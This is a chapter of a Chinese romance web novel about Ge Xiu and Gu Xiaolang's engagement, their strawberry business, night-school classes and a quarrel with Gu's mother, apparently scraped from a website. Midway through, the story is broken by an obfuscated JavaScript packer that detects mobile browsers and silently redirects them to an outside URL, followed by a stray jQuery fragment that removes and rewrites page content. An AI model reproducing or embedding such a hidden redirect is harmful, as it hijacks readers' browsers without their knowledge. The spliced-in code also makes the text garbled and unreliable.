腊月二十三，黄历好日子。


    葛秀和顾小狼选在这一天定亲。


    当地订婚的规矩，要提前相家，葛秀觉得可以省略这一步的。


    顾小狼不干，拽着人主动去她家里转了好几圈。


    上午逛老宅，吃完饭骑车把人带去新屋。


    临近过年地里没人。


    顾小狼高高兴兴地又拉着葛秀把新屋给逛了两遍。


    葛秀盯着他，“里里外外都是你收拾安置的，还有哪里是你不认识的，还看这么认真。”


    “那不一定，以前我顶多算个帮工，今天以后我才是这个家的贤内助。”


    “……”


    葛秀无语。


    “就这么开心？”


    “特别开心，我们快要成家了，不值得开心吗？”


    也不需要葛秀回答，自己回答道，“当然值得，晚上我们留在这庆祝一下吧。”


    “啊？”


    “礼上午走过，定亲饭中午吃了，我没记错晚上没事了吧。”


    “是没事了，但你是不是太嚣张了点。”


    顾小狼张扬地承认，说是庆祝，骑车带她去今天逢大集的公社，赶着尾巴买了些零嘴卤菜，不知道又从哪里拎来的酒。


    新屋二楼客厅。


    地上铺着干草，把夏天的凉席打，没有杯子，找来两只一模一样的海碗。


    葛秀看了眼散打的烧刀子。


    “我就陪你抿一口。”


    “好，剩下给我。”


    “你也不准喝太多，喝酒伤脑子。”


    “我不喝急。”


    火辣辣的味道，葛秀抿一口就不愿意再尝第二口，再看顾小狼，第一次知道他酒量还挺好的。


    也不上脸，也不发疯，就盘腿坐在对面乖乖看着她。


    “不要一直用这种眼神看我，会让我感觉在犯罪。”


    这人本身就比她小，再装萌，总让她心里怪别扭的。


    “哦。”


    顾小狼点点头，双手撑在地上用爬的挪到她身，在侧边伸手抱住她，下巴挡在肩膀上，笑着喊姐姐。


    ……


    定亲好像没改变。


    葛秀一如既往地忙着地里的事情。


    又好像有改变。


    顾小狼彻底不要脸地成天黏着人，还光明正大地从狗屋搬到新屋来，面对外人的打趣，又再三强调她住老宅。


    真是毛病。


    他人还变懒了。


    总是找借口教她学些什么来霸占所有时间。


    什么当老板的要学会放权。


    什么自己干活的时间可以做别的创造价值。


    葛秀一个脑袋两个大，更嫌弃霸占时间的人。


    同时，认识越多，葛秀觉得不学习是不行的，她本人完全无法支撑那么大的摊子，有顾小狼帮忙也不行。


    更不说，那人比她还懒。


    进入三月，新一茬的草莓开始结果。


    除去预定的量，还剩下不少，草莓不禁放，顾甲他们每天也不敢收太多，怕耽误在路上，只敢在周遭县城给货。


    天慢慢热起来，葛秀看不是这么回事，顾小狼给出了个新主意。


    他从市里头或者县里头拉来了同学玩儿。


    第一批是同学们。


    一人发一个小篮子，让他们自己摘草莓，在棚里随便吃，只算拎出来的价钱。


    葛秀当招待人，反正有损耗，几个人也吃不了多少。


    同学她都不认识，开始露个面，后面就没管了。


    顾小狼自己招待，中午吃的也是工人的大锅饭。


    晚上二楼客房凑合一夜，没两天葛秀就见顾小狼又拉来一拨人。


    这次是赶在周末，顾惠招待的。


    嗯，是苏长川领着合作伙伴来的，说是什么南方老板来投资建厂，县里很大招待。


    葛秀震惊顾小狼的胆子，“领我们这来不怕看到环境改变主意？”


    “怕什么，在县城建厂，才能更好招揽周遭的劳动力。”顾小狼还说：“只要这事成了，县里头夜校愿意给你一个名额。”


    如今夜校还没烂大街，含金量比顾小狼的职专还高，毕业的同学是能直接靠推荐进厂的专业人才。


    厂里要名额都得有贡献才给。


    葛秀一听，立马上心了。


    顾小狼笑着把人拦下来，“不用你忙。”


    之后没几天就听事情定下来，葛秀想明白了，自己就是个噱头。


    “为什么？苏老板怎么会愿意。”


    “我没和你说？”


    “什么？”


    “他前几年不是得了个儿子，去年发现不是自己亲生的就离婚把母子俩赶出家门，争执的时候伤到身子，就想到顾惠了。”


    “确定不是田姣姣？”


    “田姣姣不行，顾惠背后没啥人，田姣姣背后拖着一家子呢，哦，对了，一华哥也能动一动进县城去教书，以后见娇娇也方便。”


    “搞不懂有钱人。”


    “那就不管他们，我们抢我们的学习名额。”


    春收前，学习名额下来，七月会开新班，白天大多人都在工作，课程只安排晚上有两节课。


    主要的课程大半都是文化课。


    围绕着四化建设，改革开放和两个文明建设为中心主题，还会配合着特别的培训课，这个看个人喜欢针对性学习。


    葛秀进的是成人高考班，一周上三天课，每个月收费十块钱。


    葛秀有点跟不上进度，培训课没上，专攻了文化课。


    顾小狼跟着也勤奋起来，他报的是培训课，扯着老师的虎皮，进了会计班。


    对葛秀说的理由是，“我学会了教你，咱们就省下一份补习费。”


    实际是，会计班在成人高考班的隔壁，上下课都一块儿。


    葛秀都开始上课了，县郊圈下来的地还没开始动工，到处扯皮。


    这期间，肖盼晴和谢文书前后毕业回来。


    肖盼晴进了市农科院，谢文书就倒霉了点，被分配到了他们公社，公社大手一挥，把谢文书送回来，代替葛守仁成为新一任村长。


    四叔爷病了许久，早预备着退下来，葛守仁成了村支书。


    村里一下子热闹起来。


    就葛秀知道的，顾大才气个半死，但村里其他姓顾的还挺开心。


    顾婶就是最开心的那个。


    她女婿成了村里最大的官唉！


    你说村支书？


    顾婶觉得葛守仁老了，没她女婿年轻能熬。


    心里有了底气，葛秀最明显的感觉到顾婶对她的态度不同。


    具体表现在，顾婶见面开始插手她家里或者地里的事情，打着帮忙的借口。


    先是想让顾小文夫妻帮忙果林，好让她娘歇歇。


    又有草莓试验田里的安排，让多听听谢文书的。


    当然，顾婶不敢当着顾小狼的面说。


    葛秀觉得膈应，就迁怒到顾小狼身上，连着几天没给好脸色。


    葛母就猜到会有这么一天。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751992|150379||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    趁着葛秀回家，当晚拉着人睡在家里。


    “你和小狼闹什么呢？和他又没关系。”


    “怎么没关系，不是他我和顾婶关系好着呢，他娘他负责，娘，以后你有什么不满也跟我说，别找他茬。”


    “真不知道说你啥好，你注意点分寸。”


    “注意着呢。”


    葛母看她不想听，没再继续说。


    隔天一早，顾小狼来敲门找人，葛母摊开手，“早早就走了。”


    “我没听见拖拉机响啊。”


    眼神往院子里看，旺财不在。


    那就没走远。


    顾小狼打完招呼就往北地去。


    顾婶卡着点故意来抓人，拽着顾小狼问。


    “你难得回来一次，一大早又去哪里，我和你爹多久没见你人影。”撇一眼葛家，“还没结婚呢。”


    顾小狼拉下手，理所当然道，“娘你也知道还没结婚，现在正是我表现的时候啊，我不多往家里跑跑，多干点活，我媳妇不要我，你赔我人？”


    “那正好换一个，你又不愁找对象。”


    顾小狼拉着脸，“娘你确定要这样跟我讲话？我姐夫四年在外面都没换我姐，你让我另外找？知道你女婿现在厉害，给你争面子了，你也不能拿我当垫脚石来给他踩着对比吧，到时候别人戳着我脊梁骨骂算谁的。”


    “哪有你说的严重！”


    “你不管，嫁出去的儿郎泼出去的水，婆家的事情里娘家少插嘴。”


    顾婶给气个半死，顾小狼扭头就跑了。


    她回家嘟嘟囔囔，半天没一个人理会她。


    顾小静男人回来，心思一时间全都放在丈夫和孩子身上。


    顾小柔倒是有话说：“娘你别过分，惹恼小狼再给你犯个罪，你就高兴了。”


    顾婶更气了，视线转移到顾小文身上，她笑笑，不想掺和顾小狼的事情，只问果林那边的事情怎么说。


    顾婶翻白眼，“一个个，白养你们！”


    起身出门去了，还是老姐们说话中听。


    北地里。


    顾小狼在路边看到旺财，走到鱼塘边，看到下面站着的人。


    他没下去，坐在旺财屁股后面等人上来。


    葛秀一回头往坡上走，一眼就能看见他。


    “你咋在这坐着。”


    “大娘说你在这。”顾小狼站起来，眼神一直打量她脸色，抓着手往自己身上打。


    “你干嘛？”葛秀要抽回手。


    顾小狼不放，“我娘惹你生气，你打他儿子出出气。”


    “……”


    葛秀看他一眼，抬脚踹了下。


    “装什么装，你还是站你娘那边，想把这事糊弄过去。”


    “绝对没有！我以后要姓葛的，肯定是站在你这边。”


    “是吗？那小文的事情你怎么说？”


    “说什么说，就是看葛大娘脾气好，你不是想刚要给大娘找对象，怎么一直没行动？”


    “……”


    哦，忘记了。


    “你拿走我的书是不是还没还给我，反馈也没有。”


    “闭嘴！”葛秀想到他写的那些乱七八糟的东西，被握住的那块皮肤都开始起热，故意说：“我们还没成家你就开始要赶我娘。”


    顾小狼乖乖闭嘴。


    他看出来，秀姐儿今天心里火气挺大。


    算算日子。


    “你是不是生理期到了？”


    “……”


    熟人可太烦了！